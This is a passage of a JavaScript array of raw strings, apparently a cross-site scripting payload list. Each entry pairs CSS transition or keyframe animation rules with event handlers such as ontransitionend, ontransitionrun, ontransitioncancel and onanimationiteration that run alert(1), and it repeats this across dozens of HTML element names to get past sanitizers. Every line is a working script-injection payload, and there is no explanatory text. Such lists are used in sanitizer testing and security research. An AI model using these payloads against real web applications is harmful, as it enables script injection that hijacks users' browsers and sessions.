  String.raw`<style>:target {color:red;}</style><ol id=x style="transition:color 1s" ontransitionend=alert(1)></ol>`,
  String.raw`<style>:target {color:red;}</style><optgroup id=x style="transition:color 1s" ontransitionend=alert(1)></optgroup>`,
  String.raw`<style>:target {color:red;}</style><option id=x style="transition:color 1s" ontransitionend=alert(1)></option>`,
  String.raw`<style>:target {color:red;}</style><output id=x style="transition:color 1s" ontransitionend=alert(1)></output>`,
  String.raw`<style>:target {color:red;}</style><p id=x style="transition:color 1s" ontransitionend=alert(1)></p>`,
  String.raw`<style>:target {color:red;}</style><param id=x style="transition:color 1s" ontransitionend=alert(1)></param>`,
  String.raw`<style>:target {color:red;}</style><picture id=x style="transition:color 1s" ontransitionend=alert(1)></picture>`,
  String.raw`<style>:target {color:red;}</style><plaintext id=x style="transition:color 1s" ontransitionend=alert(1)></plaintext>`,
  String.raw`<style>:target {color:red;}</style><pre id=x style="transition:color 1s" ontransitionend=alert(1)></pre>`,
  String.raw`<style>:target {color:red;}</style><progress id=x style="transition:color 1s" ontransitionend=alert(1)></progress>`,
  String.raw`<style>:target {color:red;}</style><q id=x style="transition:color 1s" ontransitionend=alert(1)></q>`,
  String.raw`<style>:target {color:red;}</style><rb id=x style="transition:color 1s" ontransitionend=alert(1)></rb>`,
  String.raw`<style>:target {color:red;}</style><rp id=x style="transition:color 1s" ontransitionend=alert(1)></rp>`,
  String.raw`<style>:target {color:red;}</style><rt id=x style="transition:color 1s" ontransitionend=alert(1)></rt>`,
  String.raw`<style>:target {color:red;}</style><rtc id=x style="transition:color 1s" ontransitionend=alert(1)></rtc>`,
  String.raw`<style>:target {color:red;}</style><ruby id=x style="transition:color 1s" ontransitionend=alert(1)></ruby>`,
  String.raw`<style>:target {color:red;}</style><s id=x style="transition:color 1s" ontransitionend=alert(1)></s>`,
  String.raw`<style>:target {color:red;}</style><samp id=x style="transition:color 1s" ontransitionend=alert(1)></samp>`,
  String.raw`<style>:target {color:red;}</style><script id=x style="transition:color 1s" ontransitionend=alert(1)></script>`,
  String.raw`<style>:target {color:red;}</style><section id=x style="transition:color 1s" ontransitionend=alert(1)></section>`,
  String.raw`<style>:target {color:red;}</style><select id=x style="transition:color 1s" ontransitionend=alert(1)></select>`,
  String.raw`<style>:target {color:red;}</style><shadow id=x style="transition:color 1s" ontransitionend=alert(1)></shadow>`,
  String.raw`<style>:target {color:red;}</style><slot id=x style="transition:color 1s" ontransitionend=alert(1)></slot>`,
  String.raw`<style>:target {color:red;}</style><small id=x style="transition:color 1s" ontransitionend=alert(1)></small>`,
  String.raw`<style>:target {color:red;}</style><source id=x style="transition:color 1s" ontransitionend=alert(1)></source>`,
  String.raw`<style>:target {color:red;}</style><spacer id=x style="transition:color 1s" ontransitionend=alert(1)></spacer>`,
  String.raw`<style>:target {color:red;}</style><span id=x style="transition:color 1s" ontransitionend=alert(1)></span>`,
  String.raw`<style>:target {color:red;}</style><strike id=x style="transition:color 1s" ontransitionend=alert(1)></strike>`,
  String.raw`<style>:target {color:red;}</style><strong id=x style="transition:color 1s" ontransitionend=alert(1)></strong>`,
  String.raw`<style>:target {color:red;}</style><style id=x style="transition:color 1s" ontransitionend=alert(1)></style>`,
  String.raw`<style>:target {color:red;}</style><sub id=x style="transition:color 1s" ontransitionend=alert(1)></sub>`,
  String.raw`<style>:target {color:red;}</style><summary id=x style="transition:color 1s" ontransitionend=alert(1)></summary>`,
  String.raw`<style>:target {color:red;}</style><sup id=x style="transition:color 1s" ontransitionend=alert(1)></sup>`,
  String.raw`<style>:target {color:red;}</style><svg id=x style="transition:color 1s" ontransitionend=alert(1)></svg>`,
  String.raw`<style>:target {color:red;}</style><table id=x style="transition:color 1s" ontransitionend=alert(1)></table>`,
  String.raw`<style>:target {color:red;}</style><tbody id=x style="transition:color 1s" ontransitionend=alert(1)></tbody>`,
  String.raw`<style>:target {color:red;}</style><td id=x style="transition:color 1s" ontransitionend=alert(1)></td>`,
  String.raw`<style>:target {color:red;}</style><template id=x style="transition:color 1s" ontransitionend=alert(1)></template>`,
  String.raw`<style>:target {color:red;}</style><textarea id=x style="transition:color 1s" ontransitionend=alert(1)></textarea>`,
  String.raw`<style>:target {color:red;}</style><tfoot id=x style="transition:color 1s" ontransitionend=alert(1)></tfoot>`,
  String.raw`<style>:target {color:red;}</style><th id=x style="transition:color 1s" ontransitionend=alert(1)></th>`,
  String.raw`<style>:target {color:red;}</style><thead id=x style="transition:color 1s" ontransitionend=alert(1)></thead>`,
  String.raw`<style>:target {color:red;}</style><time id=x style="transition:color 1s" ontransitionend=alert(1)></time>`,
  String.raw`<style>:target {color:red;}</style><title id=x style="transition:color 1s" ontransitionend=alert(1)></title>`,
  String.raw`<style>:target {color:red;}</style><tr id=x style="transition:color 1s" ontransitionend=alert(1)></tr>`,
  String.raw`<style>:target {color:red;}</style><track id=x style="transition:color 1s" ontransitionend=alert(1)></track>`,
  String.raw`<style>:target {color:red;}</style><tt id=x style="transition:color 1s" ontransitionend=alert(1)></tt>`,
  String.raw`<style>:target {color:red;}</style><u id=x style="transition:color 1s" ontransitionend=alert(1)></u>`,
  String.raw`<style>:target {color:red;}</style><ul id=x style="transition:color 1s" ontransitionend=alert(1)></ul>`,
  String.raw`<style>:target {color:red;}</style><var id=x style="transition:color 1s" ontransitionend=alert(1)></var>`,
  String.raw`<style>:target {color:red;}</style><video id=x style="transition:color 1s" ontransitionend=alert(1)></video>`,
  String.raw`<style>:target {color:red;}</style><wbr id=x style="transition:color 1s" ontransitionend=alert(1)></wbr>`,
  String.raw`<style>:target {color:red;}</style><xmp id=x style="transition:color 1s" ontransitionend=alert(1)></xmp>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><a id=x style="transition:transform 2s" ontransitionrun=alert(1)></a>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><abbr id=x style="transition:transform 2s" ontransitionrun=alert(1)></abbr>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><acronym id=x style="transition:transform 2s" ontransitionrun=alert(1)></acronym>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><address id=x style="transition:transform 2s" ontransitionrun=alert(1)></address>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><applet id=x style="transition:transform 2s" ontransitionrun=alert(1)></applet>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><area id=x style="transition:transform 2s" ontransitionrun=alert(1)></area>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><article id=x style="transition:transform 2s" ontransitionrun=alert(1)></article>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><aside id=x style="transition:transform 2s" ontransitionrun=alert(1)></aside>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><audio id=x style="transition:transform 2s" ontransitionrun=alert(1)></audio>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><b id=x style="transition:transform 2s" ontransitionrun=alert(1)></b>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><base id=x style="transition:transform 2s" ontransitionrun=alert(1)></base>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><basefont id=x style="transition:transform 2s" ontransitionrun=alert(1)></basefont>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><bdi id=x style="transition:transform 2s" ontransitionrun=alert(1)></bdi>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><bdo id=x style="transition:transform 2s" ontransitionrun=alert(1)></bdo>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><bgsound id=x style="transition:transform 2s" ontransitionrun=alert(1)></bgsound>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><big id=x style="transition:transform 2s" ontransitionrun=alert(1)></big>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><blink id=x style="transition:transform 2s" ontransitionrun=alert(1)></blink>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><blockquote id=x style="transition:transform 2s" ontransitionrun=alert(1)></blockquote>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><body id=x style="transition:transform 2s" ontransitionrun=alert(1)></body>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><br id=x style="transition:transform 2s" ontransitionrun=alert(1)></br>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><button id=x style="transition:transform 2s" ontransitionrun=alert(1)></button>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><canvas id=x style="transition:transform 2s" ontransitionrun=alert(1)></canvas>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><caption id=x style="transition:transform 2s" ontransitionrun=alert(1)></caption>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><center id=x style="transition:transform 2s" ontransitionrun=alert(1)></center>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><cite id=x style="transition:transform 2s" ontransitionrun=alert(1)></cite>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><code id=x style="transition:transform 2s" ontransitionrun=alert(1)></code>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><col id=x style="transition:transform 2s" ontransitionrun=alert(1)></col>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><colgroup id=x style="transition:transform 2s" ontransitionrun=alert(1)></colgroup>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><command id=x style="transition:transform 2s" ontransitionrun=alert(1)></command>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><content id=x style="transition:transform 2s" ontransitionrun=alert(1)></content>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><data id=x style="transition:transform 2s" ontransitionrun=alert(1)></data>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><datalist id=x style="transition:transform 2s" ontransitionrun=alert(1)></datalist>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><dd id=x style="transition:transform 2s" ontransitionrun=alert(1)></dd>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><del id=x style="transition:transform 2s" ontransitionrun=alert(1)></del>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><details id=x style="transition:transform 2s" ontransitionrun=alert(1)></details>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><dfn id=x style="transition:transform 2s" ontransitionrun=alert(1)></dfn>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><dialog id=x style="transition:transform 2s" ontransitionrun=alert(1)></dialog>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><dir id=x style="transition:transform 2s" ontransitionrun=alert(1)></dir>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><div id=x style="transition:transform 2s" ontransitionrun=alert(1)></div>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><dl id=x style="transition:transform 2s" ontransitionrun=alert(1)></dl>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><dt id=x style="transition:transform 2s" ontransitionrun=alert(1)></dt>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><element id=x style="transition:transform 2s" ontransitionrun=alert(1)></element>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><em id=x style="transition:transform 2s" ontransitionrun=alert(1)></em>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><embed id=x style="transition:transform 2s" ontransitionrun=alert(1)></embed>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><fieldset id=x style="transition:transform 2s" ontransitionrun=alert(1)></fieldset>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><figcaption id=x style="transition:transform 2s" ontransitionrun=alert(1)></figcaption>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><figure id=x style="transition:transform 2s" ontransitionrun=alert(1)></figure>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><font id=x style="transition:transform 2s" ontransitionrun=alert(1)></font>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><footer id=x style="transition:transform 2s" ontransitionrun=alert(1)></footer>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><form id=x style="transition:transform 2s" ontransitionrun=alert(1)></form>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><frame id=x style="transition:transform 2s" ontransitionrun=alert(1)></frame>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><frameset id=x style="transition:transform 2s" ontransitionrun=alert(1)></frameset>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><h1 id=x style="transition:transform 2s" ontransitionrun=alert(1)></h1>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><head id=x style="transition:transform 2s" ontransitionrun=alert(1)></head>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><header id=x style="transition:transform 2s" ontransitionrun=alert(1)></header>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><hgroup id=x style="transition:transform 2s" ontransitionrun=alert(1)></hgroup>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><hr id=x style="transition:transform 2s" ontransitionrun=alert(1)></hr>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><html id=x style="transition:transform 2s" ontransitionrun=alert(1)></html>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><i id=x style="transition:transform 2s" ontransitionrun=alert(1)></i>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><iframe id=x style="transition:transform 2s" ontransitionrun=alert(1)></iframe>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><image id=x style="transition:transform 2s" ontransitionrun=alert(1)></image>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><img id=x style="transition:transform 2s" ontransitionrun=alert(1)></img>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><input id=x style="transition:transform 2s" ontransitionrun=alert(1)></input>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><ins id=x style="transition:transform 2s" ontransitionrun=alert(1)></ins>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><isindex id=x style="transition:transform 2s" ontransitionrun=alert(1)></isindex>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><kbd id=x style="transition:transform 2s" ontransitionrun=alert(1)></kbd>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><keygen id=x style="transition:transform 2s" ontransitionrun=alert(1)></keygen>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><label id=x style="transition:transform 2s" ontransitionrun=alert(1)></label>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><legend id=x style="transition:transform 2s" ontransitionrun=alert(1)></legend>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><li id=x style="transition:transform 2s" ontransitionrun=alert(1)></li>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><link id=x style="transition:transform 2s" ontransitionrun=alert(1)></link>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><listing id=x style="transition:transform 2s" ontransitionrun=alert(1)></listing>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><main id=x style="transition:transform 2s" ontransitionrun=alert(1)></main>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><map id=x style="transition:transform 2s" ontransitionrun=alert(1)></map>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><mark id=x style="transition:transform 2s" ontransitionrun=alert(1)></mark>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><marquee id=x style="transition:transform 2s" ontransitionrun=alert(1)></marquee>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><menu id=x style="transition:transform 2s" ontransitionrun=alert(1)></menu>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><menuitem id=x style="transition:transform 2s" ontransitionrun=alert(1)></menuitem>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><meta id=x style="transition:transform 2s" ontransitionrun=alert(1)></meta>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><meter id=x style="transition:transform 2s" ontransitionrun=alert(1)></meter>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><multicol id=x style="transition:transform 2s" ontransitionrun=alert(1)></multicol>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><nav id=x style="transition:transform 2s" ontransitionrun=alert(1)></nav>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><nextid id=x style="transition:transform 2s" ontransitionrun=alert(1)></nextid>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><nobr id=x style="transition:transform 2s" ontransitionrun=alert(1)></nobr>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><noembed id=x style="transition:transform 2s" ontransitionrun=alert(1)></noembed>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><noframes id=x style="transition:transform 2s" ontransitionrun=alert(1)></noframes>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><noscript id=x style="transition:transform 2s" ontransitionrun=alert(1)></noscript>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><object id=x style="transition:transform 2s" ontransitionrun=alert(1)></object>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><ol id=x style="transition:transform 2s" ontransitionrun=alert(1)></ol>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><optgroup id=x style="transition:transform 2s" ontransitionrun=alert(1)></optgroup>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><option id=x style="transition:transform 2s" ontransitionrun=alert(1)></option>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><output id=x style="transition:transform 2s" ontransitionrun=alert(1)></output>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><p id=x style="transition:transform 2s" ontransitionrun=alert(1)></p>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><param id=x style="transition:transform 2s" ontransitionrun=alert(1)></param>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><picture id=x style="transition:transform 2s" ontransitionrun=alert(1)></picture>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><plaintext id=x style="transition:transform 2s" ontransitionrun=alert(1)></plaintext>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><pre id=x style="transition:transform 2s" ontransitionrun=alert(1)></pre>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><progress id=x style="transition:transform 2s" ontransitionrun=alert(1)></progress>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><q id=x style="transition:transform 2s" ontransitionrun=alert(1)></q>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><rb id=x style="transition:transform 2s" ontransitionrun=alert(1)></rb>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><rp id=x style="transition:transform 2s" ontransitionrun=alert(1)></rp>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><rt id=x style="transition:transform 2s" ontransitionrun=alert(1)></rt>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><rtc id=x style="transition:transform 2s" ontransitionrun=alert(1)></rtc>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><ruby id=x style="transition:transform 2s" ontransitionrun=alert(1)></ruby>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><s id=x style="transition:transform 2s" ontransitionrun=alert(1)></s>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><samp id=x style="transition:transform 2s" ontransitionrun=alert(1)></samp>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><script id=x style="transition:transform 2s" ontransitionrun=alert(1)></script>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><section id=x style="transition:transform 2s" ontransitionrun=alert(1)></section>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><select id=x style="transition:transform 2s" ontransitionrun=alert(1)></select>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><shadow id=x style="transition:transform 2s" ontransitionrun=alert(1)></shadow>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><slot id=x style="transition:transform 2s" ontransitionrun=alert(1)></slot>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><small id=x style="transition:transform 2s" ontransitionrun=alert(1)></small>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><source id=x style="transition:transform 2s" ontransitionrun=alert(1)></source>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><spacer id=x style="transition:transform 2s" ontransitionrun=alert(1)></spacer>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><span id=x style="transition:transform 2s" ontransitionrun=alert(1)></span>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><strike id=x style="transition:transform 2s" ontransitionrun=alert(1)></strike>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><strong id=x style="transition:transform 2s" ontransitionrun=alert(1)></strong>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><style id=x style="transition:transform 2s" ontransitionrun=alert(1)></style>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><sub id=x style="transition:transform 2s" ontransitionrun=alert(1)></sub>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><summary id=x style="transition:transform 2s" ontransitionrun=alert(1)></summary>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><sup id=x style="transition:transform 2s" ontransitionrun=alert(1)></sup>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><svg id=x style="transition:transform 2s" ontransitionrun=alert(1)></svg>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><table id=x style="transition:transform 2s" ontransitionrun=alert(1)></table>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><tbody id=x style="transition:transform 2s" ontransitionrun=alert(1)></tbody>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><td id=x style="transition:transform 2s" ontransitionrun=alert(1)></td>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><template id=x style="transition:transform 2s" ontransitionrun=alert(1)></template>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><textarea id=x style="transition:transform 2s" ontransitionrun=alert(1)></textarea>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><tfoot id=x style="transition:transform 2s" ontransitionrun=alert(1)></tfoot>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><th id=x style="transition:transform 2s" ontransitionrun=alert(1)></th>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><thead id=x style="transition:transform 2s" ontransitionrun=alert(1)></thead>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><time id=x style="transition:transform 2s" ontransitionrun=alert(1)></time>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><title id=x style="transition:transform 2s" ontransitionrun=alert(1)></title>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><tr id=x style="transition:transform 2s" ontransitionrun=alert(1)></tr>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><track id=x style="transition:transform 2s" ontransitionrun=alert(1)></track>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><tt id=x style="transition:transform 2s" ontransitionrun=alert(1)></tt>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><u id=x style="transition:transform 2s" ontransitionrun=alert(1)></u>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><ul id=x style="transition:transform 2s" ontransitionrun=alert(1)></ul>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><var id=x style="transition:transform 2s" ontransitionrun=alert(1)></var>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><video id=x style="transition:transform 2s" ontransitionrun=alert(1)></video>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><wbr id=x style="transition:transform 2s" ontransitionrun=alert(1)></wbr>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><xmp id=x style="transition:transform 2s" ontransitionrun=alert(1)></xmp>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 10s" ontransitioncancel=alert(1)></xss>`,
  String.raw`<style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 2s" ontransitionrun=alert(1)></xss>`,
  String.raw`<style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></a>`,
  String.raw`<style>@keyframes slidein {}</style><abbr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></abbr>`,
  String.raw`<style>@keyframes slidein {}</style><acronym style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></acronym>`,
  String.raw`<style>@keyframes slidein {}</style><address style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></address>`,
  String.raw`<style>@keyframes slidein {}</style><applet style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></applet>`,
  String.raw`<style>@keyframes slidein {}</style><area style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></area>`,
  String.raw`<style>@keyframes slidein {}</style><article style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></article>`,
  String.raw`<style>@keyframes slidein {}</style><aside style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></aside>`,
  String.raw`<style>@keyframes slidein {}</style><audio style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></audio>`,
  String.raw`<style>@keyframes slidein {}</style><b style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></b>`,
  String.raw`<style>@keyframes slidein {}</style><base style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></base>`,
  String.raw`<style>@keyframes slidein {}</style><basefont style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></basefont>`,
  String.raw`<style>@keyframes slidein {}</style><bdi style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></bdi>`,
  String.raw`<style>@keyframes slidein {}</style><bdo style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></bdo>`,
  String.raw`<style>@keyframes slidein {}</style><bgsound style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></bgsound>`,
  String.raw`<style>@keyframes slidein {}</style><big style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></big>`,
  String.raw`<style>@keyframes slidein {}</style><blink style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></blink>`,
  String.raw`<style>@keyframes slidein {}</style><blockquote style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></blockquote>`,
  String.raw`<style>@keyframes slidein {}</style><body style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></body>`,
  String.raw`<style>@keyframes slidein {}</style><br style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></br>`,
  String.raw`<style>@keyframes slidein {}</style><button style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></button>`,
  String.raw`<style>@keyframes slidein {}</style><canvas style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></canvas>`,
  String.raw`<style>@keyframes slidein {}</style><caption style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></caption>`,
  String.raw`<style>@keyframes slidein {}</style><center style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></center>`,
  String.raw`<style>@keyframes slidein {}</style><cite style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></cite>`,
  String.raw`<style>@keyframes slidein {}</style><code style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></code>`,
  String.raw`<style>@keyframes slidein {}</style><col style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></col>`,
  String.raw`<style>@keyframes slidein {}</style><colgroup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></colgroup>`,
  String.raw`<style>@keyframes slidein {}</style><command style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></command>`,
  String.raw`<style>@keyframes slidein {}</style><content style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></content>`,
  String.raw`<style>@keyframes slidein {}</style><data style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></data>`,
  String.raw`<style>@keyframes slidein {}</style><datalist style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></datalist>`,
  String.raw`<style>@keyframes slidein {}</style><dd style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dd>`,
  String.raw`<style>@keyframes slidein {}</style><del style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></del>`,
  String.raw`<style>@keyframes slidein {}</style><details style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></details>`,
  String.raw`<style>@keyframes slidein {}</style><dfn style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dfn>`,
  String.raw`<style>@keyframes slidein {}</style><dialog style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dialog>`,
  String.raw`<style>@keyframes slidein {}</style><dir style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dir>`,
  String.raw`<style>@keyframes slidein {}</style><div style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></div>`,
  String.raw`<style>@keyframes slidein {}</style><dl style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dl>`,
  String.raw`<style>@keyframes slidein {}</style><dt style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dt>`,
